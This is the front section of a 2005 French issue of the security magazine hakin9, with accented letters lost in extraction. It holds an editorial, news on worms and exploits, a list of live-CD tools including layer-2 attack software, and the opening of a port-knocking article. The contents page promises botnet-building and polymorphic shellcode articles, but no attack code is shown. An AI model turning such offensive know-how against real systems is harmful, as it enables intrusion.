Sie sind auf Seite 1von 84

4

www.hakin9.org hakin9 N 6/2005


5 www.hakin9.org
hakin9 N 6/2005
Tomasz Nidecki
tonid@hakin9.org
Catastrophe par dfaut
Je me demande, si des investigations n'ont jamais t entre-
prise pour savoir combien d'infractions de scurit sont dues
l'utilisation de paramtres par dfaut aussi bien au niveau
matriel que logiciel. En tout cas, mes propres observations
m'ont tonn.
Jetons un coup d'il quelques exemples pratiques.
Disons que vous avez un switch Cisco, bien reli votre
rseau. Il fait tout ce qu'il devrait, le rseau fonctionne bien.
Bien sr qu'il le fait les paramtres par dfaut le garantis-
sent. Mais ils le garantissent si bien, qu'un intrus l'intrieur
de votre rseau peut le fait ruiner plus rapidement, que vous
pouvez cligner. Si les mots STP ou CDP ne vous disent pas
grand chose, jetez un coup d'il la page 24 un article sur
les attaques au niveau de la couche liaison de donnes vous
expliquera tout.
Un autre exemple. Disons que vous venez juste d'acheter
un logiciel pour raliser un VPN. Il est comprhensible que
vous ne vouliez pas que, chacun sache que des donnes
valant des millions de dollars transitent chaque seconde sur
Internet et quel logiciel vous utilisez pour acheminer ce fux.
Donc, plus vous tes prs des paramtres par dfaut, plus
vous avez de chance que, non seulement votre logiciel soit
dtect mais galement qu'il fasse l'objet du fngerprinting
(voir page 46).
Pas s'loignant de paramtres par dfaut a toujours t
une chose qui rend la vie de cracker plus facile. Si un cracker
voulait crire un virus qui affecterait la plupart des utilisa-
teurs, ce cracker utiliserait les trous de scurit dans les logi-
ciels installs par dfaut Windows avec Outlook Express
ou Internet Explorer. Plus vous tes loin des paramtres par
dfaut, plus l'utilisateur est en scurit. Les utilisateurs de
Macs ont toujours t considr comme plus en scurit que
les PCs base de Windows et je crois que la cause princi-
pale ceci tait le fait qu'il y avait moins d'utilisateur Mac que
d'utilisateur de PC. *NIX tait galement considrs comme
sr, jusqu' ce que Linux arrive et qu'un certain nombre de
personnes ont commenc l'utiliser, par consquent, plus
de crackers se sont intresss lui.
Les paramtres par dfauts sont mon avis la plus
grosse menace de scurit. Heureusement, certains pro-
grammeurs sont avertis et essaient de forcer les utilisateurs
de leur logiciels, lire le manuel et installer le logiciel cor-
rectement.
La plupart des utilisateurs d'ordinateur lisent la presse
adress au grand public par dfaut. Soyez srs. Lisez-nous
la place.
Secrtaire de rdaction :
Tomasz Nidecki
Actus
Marek Bettman, Tomasz Nowak
Vous trouverez ici les nouvelles du monde de la scu-
rit des systmes informatiques.
CD-ROM hakin9.live
Robert Gwczyski, Tomasz Nidecki
On vous prsente le contenu et le mode de fonction-
nent de la version rcente de notre principale distri-
bution hakin9.live.
Dossier
Port knocking depuis l'interieur
Martin Krzywinski
Cet article a pour but d'expliquer en quoi consiste
la technique du port knocking. Vous apprendrez
mettre en place cette technique le plus simplement
possible et utiliser un mcanisme plus complexe
bas sur le programme Doorman. Les avantages
et les dfauts du port knocking sont dcrits ici.
Focus
Attaques de la couche deux du
modle OSI
Alfredo Andrs, David Barroso
Grce cet article, vous connatrez les attaques sur
les protocoles fonctionnant lintrieur de la couche
de liaisons de donnes. On vous dcrit en quoi elles
consistent, quelles sont leurs consquences, com-
ment en raliser et comment s'en dfendre.
Pratique
La guerre des robots, ou comment
fonctionnent les rseaux
d'ordinateurs zombies
Massimiliano Romano, Simone Rosignoli, Ennio Giannini
Cet article a pour but d'expliquer le fonctionnement
de robots/botnets. On vous prsente les dangers
lis leur utilisation ainsi que leurs applications pra-
tiques. On vous montre comment crer facilement un
botnet personnel.
ArpAlert 0.4.10
Thierry Fournier
Cet article explique comment implmenter une dtec-
tion de connexions illgales dans un rseau local
l'aide de l'outil ArpAlert.
06
44
08
24
36
10
4
www.hakin9.org hakin9 N 6/2005
5 www.hakin9.org
hakin9 N 6/2005
Fiche technique
Dtection et relev
d'empreintes de VPN IPsec
Roy Hills
Les mthodes de dtection de l'existence des
rseaux VPN et de relev d'empreintes digitales
(en anglais fngerprinting) sont prsents. L'article
explique comment fonctionne IPsec et pourquoi les
protocoles utiliss dans les rseaux VPN permettent
une identifcation facile des priphriques ou pro-
grammes ralisant ce service.
Programmation
Plein contrle ou accs de bas
niveau au rseau
Konrad Malewski
L'article vous enseigne comment utiliser les biblioth-
ques WinPcap et libnet pour avoir un accs de bas
niveau au rseau. Vous apprendrez comment crire
une application l'aide de ces outils.
Crer un shellcode
polymorphique
Micha Piotrowski
La suite sur lcriture du shellcode. Cette fois-ci,
les shellcodes polymorphiques sont dcrits. Leur
dtection est plus diffcile que les simples shellcodes
dcrits dans le premier article de la srie.
ditorial
Faites attention votre argent
Tomasz Nidecki
Qu'est-ce qui est le plus sr : placer de l'argent
dans des banques virtuelles ou au-dessous de votre
oreiller ?
Dans le prochain numro
Magdalena Grzmiczka
Les articles qui seront publis dans le numro de
hakin9 venir.
46
58
68
80
82
Le priodique est publi par
Software-Wydawnictwo Sp. z o.o.
Piaskowa 3, 01-067 Varsovie, Pologne
Tl. +48 22 887 10 10, Fax. +48 22 887 10 11
www.hakin9.org
Directeur de la publication : Jarosaw Szumski
Imprimerie, photogravure : 101 Studio, Firma Tgi
Ekonomiczna 30/36, 93-426 d
Imprim en Pologne/Printed in Poland
Abonnement (France mtropolitaine) : 1 an (soit 6 numros) 38
DOM/TOM, tranger : nous consulter
Dpt lgal : parution
ISSN : 1731-7037
Distribution : MLP
Parc dactivits de Chesnes, 55 bd de la Noire
BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX
(c) 2005 Software-Wydawnictwo, tous les droits rservs
Chef de produit : Magdalena Grzmiczka
magdalenag@software.com.pl
Secrtaire de rdaction : Tomasz Nidecki tonid@hakin9.org
Prparation du CD : Robert Gwczyski, Tomasz Nidecki
Maquette : Anna Osiecka annao@software.com.pl
Couverture : Agnieszka Marchocka
Traduction : Grayna Wena, Iwona Czarnota, Marie-Laure Perrotey,
Aneta Lasota
Correction : Jean-Franois K@sparov, Gilles Gaffet, Pierre-Emmanuel
Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale,
Patrick Fernandez, Franck Ebel
Les personnes intresses par la coopration sont pries de nous
contacter : cooperation@software.com.pl
Abonnement : abonnement@software.com.pl
Fabrication : Marta Kurpiewska marta@software.com.pl
Diffusion : Monika Godlewska monikag@software.com.pl
Publicit : adv@software.com.pl
Si vous tes intress par lachat de licence de publication de revues
merci de contacter :
Monika Godlewska
e-mail : monikag@software.com.pl
tl : +48 (22) 887 12 66
fax : +48 (22) 887 10 11
La rdaction fait tout son possible pour sassurer que les logiciels sont jour,
pourtant elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas
de support technique li linstallation ou lutilisation des logiciels enregistrs
sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs
propritaires respectifs.
La rdaction utilise le systme PAO
Pour crer les diagrammes on a utilis le programme
Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data
Software Sp. z o.o.
La revue hakin9 est publie en 7 versions :
FR PL CZ EN
IT DE ES
AVERTISSEMENT
Les techniques prsentes dans les articles ne peuvent
tre utilises qu'au sein des rseaux internes.
La rdaction du magazine n'est pas responsable de
l'utilisation incorrecte des techniques prsentes.
L'utilisation des techniques prsentes peut provoquer la
perte des donnes !
Actus
hakin9 N 6/2005 www.hakin9.org 6
Actus
www.hakin9.org 7 hakin9 N 6/2005
Les crateurs de Zotob
arrts
La police au Maroc et en Turquie a
arrt deux personnes responsa-
bles de la cration et de la diffusion
des vers Internet Zotob et Mytob
dont l'activit a paralys le travail
de plusieurs socits et agences
gouvernementales amricaines.
Les dtenus sont Farid Essebar
(marocain g de 18 ans) et Atilla
Ekici (turc g de 21 ans).
Selon les paroles de Louis M. Rigel
de la section de lutte contre la crimi-
nalit lectronique au FBI, Essebar
a crit le code du vers la demande
d'Ekici. Le vers attaquait les machi-
nes tournant sous la surveillance du
systme Microsoft Windows. Pour
l'instant, le montant de la rmu-
nration et le montant des pertes
dues l'attaque de Zatob et de ses
mutations ne sont pas connus.
Zotob et Mytob permettent les
attaques suivantes contre les
ordinateurs infects. En plus, Zotob
est capable de redmarrer Windows
2000. Il est possible d'accder dis-
tance un ordinateur infect grce
une erreur dans le mcanisme
systme de dtection du matriel
Plug and Play. Pour attaquer un
ordinateur, Zotob ne doit y dmarrer
aucunes applications. L'utilisateur
risque donc de ne pas se rendre
compte du danger auquel il est
expos. Le virus a apparu presque
une semaine aprs que Microsoft ait
publi l'avertissement concernant un
trou dans les mcanises de scuri-
sation ainsi que le patch permettant
d'liminer le danger.
Le dernier numro de
PHRACK ?
Le 9 juillet, l'agence d'information
BBC a publi sur sa page Internet
une information sur la fermeture de
l'un des plus populaires magazines
Internet PHRACK. PHRACK tait
durant les 20 dernires annes
le magazine le plus apprci et
le plus professionnel publiant les
matriaux concernant aussi bien
les mcanismes de scurisation
des rseaux informatiques que les
mthodes d'attaque.
Le 63
ime
numro a t publi
aprs un an de pause. Dans l'intro-
duction, on peut lire que PHRACK
n 63 est vraiment la dernire
dition ... labore par la rdac-
tion actuelle et que le nouveau
PHRACK 64 paratra probablement
au tournant de 2006 et 2007.
S
elon le rapport le plus rcent
tabli par la socit Webroot, la
plupart des logiciels spyware vien-
nent des tats-Unis. La deuxime
et la troisime place dans ce clas-
sement appartiennent respective-
ment la Pologne et la Hollande.
Assurant une surveillance constante
du danger provoqu par les logiciels
espions, Webroot publie son rapport
tous les trois mois. Le plus rcent,
paru le 23 aot, examine pour la
premire fois la provenance gogra-
phique des spyware.
Le classement de Webroot pre-
nant en compte la division par pays
de provenance concerne les pages
utilisant les exploits. Selon les statis-
tiques les plus rcentes, le plus grand
nombre de pages (adresses URL)
installant des logiciels spyware en
utilisant les exploits ont t retrouv
aux tats-Unis (plus de 25 mille).
La Pologne occupe la deuxime
place en ce qui concerne le nombre
des piges qui attendent les inter-
nautes le rapport de la socit
Webroot prsente plus de 8 mille
pages dangereuses venant de Polo-
gne. En Hollande, il y a plus de 4 mille
pages contenant des piges.
Les donnes concernant la pro-
venance des logiciels spyware sont
De plus en plus de spyware
ramasses par le scanner Phileas
tant le premier systme automa-
tis de dtection de spyware sur
Internet. Phileas est une sorte de
robot rseau fouillant sans cesse les
ressources Web la recherche de
nouveaux logiciels spyware cachs
sur les pages Internet. la base des
donnes analyses, les laboratoires
de Webroot font des mises jour des
bases de signatures pour le logiciel
Webroot Spy Sweeper.
Le nombre total des pages Inter-
net (adresses URL) contenant des
logiciels espions a quadrupl depuis
le dbut 2005 en atteignant dj le
nombre de 300 mille d'adresses. En
mme temps, le nombre des signatu-
res spyware uniques dans la base de
Webroot a doubl dpassant rcem-
ment le nombre de 100 mille.
Le rapport le plus rcent de
Webroot montre galement la
croissance du nombre des logiciels
espions dans les ordinateurs de
socit au dernier trimestre, le
nombre des ordinateurs infects
dans les socits a augment de
19%. La version complte du rapport
est disponible en tlchargement
aprs s'tre enregistr sur la page de
l'diteur http ://www.webroot.com/.
E
n Finlande, un homme de 26 ans
suspect d'avoir pntr dans
un compte bancaire lectronique et
d'avoir vol 200 mille d'euros a t
arrt. Les donnes personnelles pr-
cises du dtenu n'ont pas t rendues
publiques. On suppose cependant
que c'tait un directeur du service de
scurit des donnes dans une fliale
de GE Money (prtant les services
fnanciers) Helsinki.
Le suspect a vol la socit o il
travaillait. Selon le magazine fnlan-
dais Helsingin Sanomat, il est l'un des
quatre dtenus arrts cause du vol
commis en juin. Avec l'aide de deux
complices, le suspect a copi un logi-
ciel bancaire et les mots de passe vers
un ordinateur portable de la socit.
Il a obtenu l'accs au compte bancaire
200 mille d'euros vols par un directeur
en utilisant pour viter les soupons
un rseau sans fl non scuris de
son voisin. L'argent vol a t vers
sur un autre compte de la socit.
Les premiers soupons tombaient
sur le propritaire du rseau sans fl.
La police a pu constater que celui-ci
n'avait pas particip au vol. L'analyse
des journaux rseau a permis de
rvler une adresse MAC de l'ordi-
nateur portable tant la proprit de
GE Money. L'auteur du vol a t arrt
aprs que l'on ait russi trouver un
lien avec l'ordinateur portable de la
socit utilis pour le vol grce la
compatibilit des adresses MAC.
Le quatrime membre du groupe a
t arrt alors qu'il essayait de retirer
5000 euros du compte observ. L'ar-
gent vol a t rcupr.
Actus
hakin9 N 6/2005 www.hakin9.org 6
Actus
www.hakin9.org 7 hakin9 N 6/2005
Internet Explorer dangereux
pour Windows
Depuis un certain temps, un exploit
pour un nouveau trou de scu-
rit toujours non patch dans le
navigateur Internet Explorer est
disponible sur le rseau. Tout un
chacun prparant une page Web
approprie et y invite l'internaute
surfant l'aide du navigateur
de Microsoft peut excuter avec
succs n'importe quelle commande
dans le systme de la victime
inconsciente.
Comme disent les communiqus,
mme le systme Windows XP
avec SP2 install est vulnrable
l'attaque la condition en est
la prsence de la bibliothque
msdds.dll qui n'est pas installe
comme un lment standard du
systme Windows mais qui consti-
tue un lment des logiciels utiliss
communment tels que Microsoft
Offce ou Visual Studio.
L'erreur a t dfnie comme
critique. Jusqu' ce que les patchs
adquats ne soient mis dispo-
sition par Microsoft, les experts
conseillent de ne pas utiliser Internet
Explorer, de dsactiver le support
d'ActiveX ou de supprimer msdds.dll
du systme, ce qui peut entraner
pourtant le mauvais fonctionnement
de certaines applications.
Claviers d'cran une illu-
sion de scurit
Les analystes dAnti-Phishing Wor-
king Group (APWG) avertissent que
la technique appele screenscraper
permettant d'intercepter les donnes
de la victime bien que celle-ci utilise
un clavier d'cran est mise en uvre
de plus en plus souvent.
Les keyloggers n'taient pas
capables d'intercepter les donnes
confdentielles car en utilisant
un clavier d'cran, les donnes
sont entres l'aide de la souris.
Cependant, les logiciels espions
utilisant la screenscraper permet-
tant de crer des captures d'cran
lorsqu'une victime entre les don-
nes l'aide de la souris, le logiciel
fait une capture d'cran et l'envoie
l'agresseur.
Les experts d'APWG ont aussi
inform que le nombre des rap-
ports concernant les attaques des
phishers a diminu dernirement
en juin 2005, 15050 dclarations
ont t signales tandis qu'en
juillet, il y en avait 14135.
U
n pirate informatique venant
d'Autriche portant le pseudo-
nyme Second Part To Hell a crit
quelques logiciels pouvant tre
considrs comme les premiers
virus pour un nouveau produit de
Microsoft. Les vers utilisent les trous
de scurit dans la nouvelle ligne de
commandes du systme Windows
Vista nomme Monad.
Le code des nouveaux vers a t
publi dans un guide de crateurs de
virus support par le groupe clandes-
tin Ready Ranger Liberation Front.
Second Part To Hell appel ga-
lement Mario a cr les nouveaux
virus le 21 juillet, savoir un jour aprs
que Microsoft a prsent offciellement
la ligne de commandes utilise dans la
version la plus rcente de Windows.
La socit fnlandaise F-Secure,
expert dans le domaine de la scu-
rit informatique, a nomm la famille
des nouveaux virus Danom, ce qui
est l'anagramme du mot Monad.
Mikko Hyppnen, chef du bureau
d'tudes de F-Secure, en examinant
le code de nouveaux virus a constat
qu'ils avaient un caractre destructif
Trous de scurit dans Windows Vista
mais qu'ils n'taient pas capables de
porter des prjudices importants
l'utilisateur de Vista. L'expert fnlan-
dais a t surpris non par la cration
d'un virus pour Vista mais par la rapi-
dit de sa naissance. Huit jours se
sont peine couls depuis la date
de mise disposition de la version
de test du nouveau systme d'exploi-
tation a soulign Hyppnen.
Un peu de temps aprs, Micro-
soft a annonc que Monad ne ferait
pas partie du systme Windows
Vista qui paratra bientt. Selon le
reprsentant de Microsoft, la ligne de
commandes sera pourtant intgre
avec le systme suivant ddi aux
postes serveur. Ce systme nomm
pour l'instant Longhorn Server doit
sortir en 2007.
Monad devait faire partie de
Vista. Vu cela, les codes malveillants
ont t vite considrs comme pre-
miers virus pour Windows Vista. La
dclaration de Microsoft dit claire-
ment que les virus portant atteinte
Monad ne seront pas dangereux
pour la version fnale du nouveau
systme d'exploitation.
D
efcon, confrence internationale
des pirates informatiques Las
Vegas, n'attire pas seulement les pas-
sionns de l'informatique. Les cours
sont galement frquents par les
hommes en noir. Ils ne participent pas
aux sminaires, aux dmonstrations
ou d'autres attractions par plaisir ou
pour s'duquer en matire de scurit
informatique. Ils sont l pour recruter
les jeunes hackers dous, pour le FBI,
afn qu'ils travaillent pour le compte du
gouvernement des tats-Unis.
Combien de pirates y consentent ?
Plusieurs. Richard Thieme, expert
en scurit, raconte que lors d'un
cours organis au Pentagon pour les
hommes du gouvernement et portant
sur les technologies de pointe, il a
reconnu quelques de visages parmi
le public prsent. D'o il connaissait
tant de spcialistes travaillant pour le
gouvernement ? Tous taient des par-
ticipants la confrence Defcon.
Le FBI recrute les pirates informatiques
La coopration avec les jeunes
geeks informatiques dous com-
mence souvent au lyce. Si le futur
hacker dcide de travailler pour le gou-
vernement, le FBI s'oblige payer ses
tudes et une formation supplmen-
taire en matire de scurit rseau.
Le fait que Defcon est frquent
par les agents fdraux est connu
depuis longtemps. Il existe mme
un jeu de terrain dont l'objectif est
de dmasquer les agents. Il sufft de
rencontrer lors de la confrence un
homme correspondant un agent
FBI typique ; le costume sombre,
les lunettes fonces et les chaussu-
res cires et de crier agent ! Il n'y a
pas de perdants dans le jeu. Aussi
bien celui qui a russi identifer un
agent fdral que l'agent lui-mme
reoivent les t-shirts de Defcon ;
pour l'agent, c'est un t-shirt avec une
inscription je suis agent fdral.
CD-ROM
hakin9 N 6/2005 www.hakin9.org 8
L
e CD joint au magazine contient hakin9.live (h9l)
version 2.7-ng une version bootable de Linux
contenant des outils, de la documentation, des
tutoriaux et des matriaux complmentaires aux articles.
Pour commencer le travail avec hakin9.live, il sufft de
dmarrer l'ordinateur partir du CD. Aprs le dmarrage
du systme, vous pouvez ouvrir la session en tant qu'uti-
lisateur hakin9 sans mot de passe.
Dans la prsente version, la structure des rpertoires
a t modife :
doc la documentation au format HTML,
hit les hits de ce numro : 90 jours dessai de l'ex-
cellent outil de surveillance rseaux : Anasil 3.1 et la
version d'essai de 60 jours du programme anti-virus
ArcaVir,
art matriaux complmentaires aux articles : lis-
tings, scripts, programmes indispensables,
tut tutoriaux,
add livres et autres documents au format PDF,
rfc documents contenant les RFC actuels (archive
.zip).
Les anciens matriaux se trouvent dans les sous-rper-
toires _arch, par contre les nouveaux dans les rper-
toires principaux suivant la structure ci-dessus. Si vous
parcourez le CD, cette structure est disponible dans le
sous-rpertoire /mnt/cdrom.
La version 2.7-ng h9l est base sur la distribution
Gentoo Linux et les scripts livecd-tools. Les outils non
disponibles dans le rpositoire Gentoo sont installs
partir des paquets du rpertoire /usr/local/portage ou
chargs dans le rpertoire /usr/local/bin. Le systme tra-
vaille sous la surveillance du noyau 2.6.12-r9. Le paquet
ISAPNPTOOLS et les pilotes IPW2100 ont t ajouts.
Certains outils non lis la scurit (Aspell, CUPS, jeux)
ont t supprims, par contre les outils pour les tests r-
hakin9.live
seaux et quelques applications ont t complts sur ce
CD. Kismet a t compil avec la gestion de GPS.
Dans cette version de h9l, nous avons ajout les pro-
grammes suivants :
Wavemon le moniteur de rseaux sans fls (ncurses),
Wellenreiter l'outil pour la dtection de rseaux sans
fls (avec interface graphique),
Paros le proxy pour les tests des applications
HTTP/HTTPS,
Les navigateurs de rseaux SMB : LinNeighborhood
et Xsmbrowser,
Raccess un excellent outil de tests de pntrations
distance,
Yersinia l'outil pour les attaques des protocoles de
couche de liaison de donnes.
Actuellement, l'environnement graphique par dfaut est
Fluxbox avec le gestionnaire de fchiers ROX. Il est pos-
sible de lancer l'environnement graphique trs convivial
Xfce 4 en version 4.2.2 (Session->Xfce session dans le
menu d'ouverture de session).
Tutoriaux et documentation
La documentation contient, entre autres, les tutoriaux pr-
pars par la rdaction avec les exercices pratiques. Les
tutoriaux sont conus pour tre utiliss sur hakin9.live.
Grce cette solution, vous vitez tous problmes relatifs
aux diffrentes versions de compilateurs, la localisation de
fchiers de confguration ou autres options ncessaires pour
dmarrer les programmes dans un environnement donn.
Dans la prsente version de hakin9.live, outre
les tutoriaux des numros prcdents mis jour, un
nouveau tutoriel a t ajout. Il dcrit la plus simple
ralisation possible du port knocking l'aide des outils
SendIP et tcpdump. Le tutoriel complte l'article de
Martin Krzywinski (cf. la page 10). l
Figure 1. Nouveaux outils indispensables Figure 2. Environnement graphique alternatif Xfce 4
Sil vous est impossible de lire le CD, et ce dernier nest pas endom-
mag mcaniquement, essayez de le lire au moins dans 2 lecteurs.
En cas de problme avec votre CD, envoyez-nous un
message ladresse suivante : cd@software.com.pl
www.hakin9.org hakin9 N 6/2005 10
Dossier
S
i vous lancez des services de rseau
d'authentifcation forte (p. ex. SSH)
sur votre serveur, il est probable que
vous employez les processus d'authentifca-
tion et d'encodage de services pour faire une
distinction entre les utilisateurs lgitimes et ill-
gitimes. L'utilisateur lgitime a un mot de passe
et l'utilisateur illgitime ne l'a pas. Pour que le
service identife ce fait, l'utilisateur illgitime
a une possibilit d'interagir avec le service.
Si vous en tenez compte, les mthodes de
password guessing (deviner les mots de passe)
ne permettent pas d'entrer facilement dans un
systme bien maintenu ; l'intrus essayera alors
de contourner l'lment d'authentifcation du ser-
vice et d'augmenter ses privilges, en explorant
des bogues connus, comme le dbordement de
mmoire tampon. Puisque le zero-day exploit
(vulnrabilit non publique) peut survenir tout
moment, maintenir un service de rseau n'est
pas une activit passive. Il est ncessaire de
suivre les conseils concernant les vulnrabilits
et de suivre les correctifs pour boucher les failles
de scurit. Mais il faut l'admettre : lire des con-
seils est tellement ennuyeux, ingrat et complte-
ment inutile en 99.99 % de cas. Un ou deux ans
peuvent s'couler avant que la vulnrabilit de
votre version de service soit trouve et dcrite ;
ou aussi bien, cela peut ne jamais arriver. Que
peut-on donc faire ?
Premirement, il faut prendre en compte
le fait que les services avec une base d'uti-
lisateurs fnis n'ont pas besoin de laisser ses
ports ouverts tout le temps. Contrairement
aux services publics, comme SMTP ou HTTP,
qui doivent recevoir des connexions de tout le
Port knocking depuis
l'intrieur
Martin Krzywinski
Degr de diffcult
Laisser un port ouvert au public, c'est comme inviter un intrus.
Hlas, la plupart des services comme HTTP ou SMTP doivent
rester ouverts tout le monde. Certains services, les plus cruciaux,
peuvent tre toutefois accessibles uniquement la demande. C'est
ici que le mcanisme de port knocking intervient.
Cet article explique...
ce qu'est le port knocking, comment il fonctionne
et quoi il sert,
comment crire la plus simple implmentation
du port knocking,
comment confgurer le programme Doorman
pour un port knocking avanc,
comment le port knocking peut tre dtect et
compromis.
Ce qu'il faut savoir...
vous devriez avoir des bases des rseaux
TCP/IP,
vous devriez avoir des comptences lmen-
taires d'administration de Linux.
Port knocking
hakin9 N 6/2005 www.hakin9.org 11
monde partout et ne ncessitent pas
en gnral une authentifcation, SSH
est un service qui permet d'entrer
uniquement aux utilisateurs dots de
mots de passe. Imaginez que vous
tes capables de garder le port SSH
(tcp/22) ferm et par consquent, de
rendre le service inaccessible et pro-
tg contre les vulnrabilits jusqu'
ce que le service soit demand par
l'un de vos utilisateurs lgitimes.
Comment alors le service peut-il
tre demand alors que les ports
sont ferms et aucune connexion
n'est possible ? C'est le moment
o le mcanisme de port knocking
intervient. Le port knocking permet
l'utilisateur de demander d'ouvrir le
port devant un service rseau. Cette
demande a une forme d'une squen-
ce passive des paquets d'authentif-
cation qui traversent les ports ferms
du serveur (voir l'Encadr Port knock
information travers des ports fer-
ms). Il est possible d'envoyer des
informations travers des ports fer-
ms, mme si ces ports sont ferms
et aucun service de rseau n'coute.
Ceci est possible car votre pare-feu
ou un autre programme utilitaire,
comme cpdump, peut tre confgur
pour contrler tous les paquets en-
trants, mme s'ils n'arrivent jamais
des applications comme SSH.
Limites de fltrages IP
Une manire de limiter une section
croise de votre service de rseau
consiste utiliser un fltre IP (voir
l'Encadr Filtres IP), comme netflter/
iptables. Le fltre serait confgur pour
ne permettre que les connexions
provenant des adresses IP d'o votre
base d'utilisateurs se connecte. Cette
liste comprend des bureaux et des
domiciles distants.
Cette approche se prte trs bien
pour limiter le nombre des sources
d'o les connexions sont autorises
mais elle est restreinte en ce qui
concerne la capacit de grer les
utilisateurs mobiles ou les bureaux/
domiciles pour lesquels les adresses
IP externes sont attribues de ma-
nire dynamique. Si vos utilisateurs
changent souvent leurs ordinateurs
ou rseaux, il n'est pas pratique de
maintenir une liste changeant des
adresses IP d'o les connexions sont
autorises. C'est particulirement
important lorsque les utilisateurs
essayent de se connecter partir
des emplacements douteux, comme
cybercafs ou universits.
L'utilisation d'un fltre IP cre
une hypothse selon laquelle une
adresse IP ou une adresse rseau
de confance n'est utilise que par
les utilisateurs de confance. Ce
n'est pas toujours vrai, en particulier,
lorsque l'adresse IP de confance est
une passerelle d'un grand rseau
interne. Il est alors facile d'imaginer
un cas o les attaques et les con-
nexions lgitimes peuvent provenir
d'une mme adresse IP.
Le port knocking fournit un m-
canisme permettant de traiter tous
ces points. Le port knocking permet
d'viter l'emploi de correspondance
entre une adresse IP et un utilisateur
individuel. Les utilisateurs peuvent
s'identifer au moyen de leurs jetons
d'authentifcation, sans demander
l'ouverture de ports sur le serveur. Par
consquent, le port knocking permet
un utilisateur spcifque de se con-
necter de n'importe quelle adresse
IP au lieu de permettre n'importe
quel utilisateur de se connecter d'une
adresse IP spcifque. Cette distinc-
tion est importante car le nombre de
priphriques individuels, d'o des
utilisateurs peuvent se connecter,
augmente sans cesse (ordinateurs
de bureau, ordinateurs domicile, or-
dinateurs portables, PDA, tlphones
mobiles, etc.).
Besoins
Si vous tes en train de lire cet article,
il est trs probable que vous disposez
de tout ce qu'il faut pour protger vos
systmes au moyen de port knocking.
Premirement, vous avez besoin
Port knock information travers des ports ferms
Contrairement aux ides rpandues, vous n'avez pas besoin d'ouvrir les ports pour
transmettre des donnes. Mme si les connexions sont rejetes par un fltre IP, ces ten-
tatives sont logues et par consquent, il est possible d'y chercher des informations.
Dans le cas le plus simple, prenez les ports A et B, tous les deux ferms et d-
pourvus d'application d'coute. Si le fltre IP est confgur pour contrler les paquets
entrants ces ports, il est simple d'analyser les journaux de fltres et d'identifer la
squence de port (p. ex. ABAABBBAA) associe au client IP. Cette squence de port
peut tre utilise pour encoder des informations. L'encodage peut servir d'une carte
entre une squence de port spcifque et une information (p. ex. ABA = ouvrir le port
22 pour 15 minutes, ABB = fermer le port 22, BAA = fermer le port 22 et empcher des
connexions complmentaires). L'encodage peut galement avoir une forme binaire o
A/B reprsente 0/1.
Filtres IP
Le rle d'un fltre IP consiste contrler le passage des paquets travers la pile TCP/IP,
en se basant sur le contenu de leurs en-ttes. Par consquent, un fltre IP peut emp-
cher les paquets originaires des adresses MAC ou IP spcifques d'aller plus loin dans
la pile, en dfendant la livraison du paquet une application.
Un fltre IP (p. ex. netflter/iptables) opre sur la couche 3 de OSI de la pile TCP/IP
(pour plus d'informations sur les couches OSI, reportez-vous l'Encadr Sept cou-
ches du modle OSI dans l'Article Attaques de la couche deux du modle OSI dans le
numro actuel de hakin9) et contrle le fux de paquets, bass sur le contenu de leurs
en-ttes IP. Ces en-tte comprennent les adresses IP source et cible, le protocole
(TCP, UDP, etc.) et TTL. Actuellement, la plupart des fltres IP, y compris iptables, sont
capables d'aller plus bas (couche 2) et plus haut (couche 4) et de fltrer les paquets via
des informations de bas niveau (MAC adresse) ainsi que des informations de haut ni-
veau, trouves dans les en-ttes de protocole (TCP ou UDP). Tout cela inclut les ports
source et cible et, pour TCP, des informations supplmentaires, comme le numro de
la squence et les drapeaux (SYN, ACK, FIN et d'autres).
hakin9 N 6/2005 www.hakin9.org
Dossier
12
d'un pare-feu d'adressage, comme
iptables. Ensuite, vous avez besoin
d'un nombre suffsant de ports non-
utiliss pour le contrle de frappes. Si
l'authentifcation s'effectue via une s-
quence de frappes au port, vous aurez
besoin en thorie de deux ports. Tou-
tefois, plus vous avez de ports (p. ex.
1024, voire 16355), plus de donnes
d'authentifcation complexes, et donc
plus souples, peuvent tre encodes
Figure 1. Paquet envoy l'aide
des protocoles TCP ou UDP
contient trois en-ttes : Ethernet
(22 octets), IP (20 octets) et TCP ou
UDP (20 ou 8 octets), une section
de charge de donnes longueur
variable et une somme de contrle
de trame fnale, ajoute la couche
accs du rseau
Paquets et datagrammes
Un paquet est un bloc de donnes, contenant toutes les informations, ncessaires
pour les dlivrer (voir la Figure 1). Pensez une lettre postale. Lorsque des paquets
traversent Internet, des priphriques rseau divers analysent et manipulent les pa-
quets sur leur chemin de la destination la source.
Un datagramme est un format spcifque de paquet, dfni par le protocole IP (voir
la Figure 2). Le datagramme contient l'en-tte IP, l'en-tte spcifque au protocole
(TCP, UDP, etc.) et la charge de donnes. Dans un paquet Ethernet, le datagramme
est une charge de donnes la couche rseau (couche 3 de OSI).
Figure 2. Les en-ttes Ethernet, IP, TCP et UDP contiennent des
informations ncessaires un transport russi de donnes de leurs couches
respectives
UDP ou TCP pour le
port knocking
Il appartient au programmeur de dci-
der s'il utilise TCP ou UDP. Les deux
ont des qualits et aucun n'a d'incon-
vnients importants. Les implmen-
tations du port knocking, qui utilisent
TCP, se servent du paquet SYN pour
authentifer le client, bien que le
drapeau SYN ne soit pas rigoureuse-
ment requis. Puisque le client dcide
lui-mme d'envoyer les squences
de paquet, SYN ou autre chose,
n'importe quel socket distant, la
combinaison de ports, auxquels sont
envoys ces paquets, peut tre utilise
pour encoder les donnes. Puisque le
serveur ne confrme pas l'arrive des
paquets par un accus de rception
(port knocking est passif), certaines
implmentations choisissent d'utiliser
UDP comme protocole, ce qui est un
choix plus naturel dans ce cas-l.
En ce qui concerne les avantages
de TCP, on peut dire que l'en-tte TCP
est plus grand et capable de contenir
davantage d'informations d'authenti-
fcation. Si un grand nombre de pa-
quets TCP est envoy, il est important
que le serveur soit capable de refaire
leur ordre initial ; cet ordre peut tre
recr au moyen du numro d'iden-
tifcation de squence dans chaque
paquet.
UDP, de l'autre ct, a un en-tte
moins important (8 octets versus 20
octets) et demande de placer les
donnes dans la charge du paquet.
On peut se demander par consquent
si UDP est une manire plus pratique
et plus lgante d'envoyer des infor-
mations dans un seul paquet sans
accus de rception. Un seul paquet
UDP est toujours plus furtif qu'une
squence caractristique des paquets
TCP de ports divers.
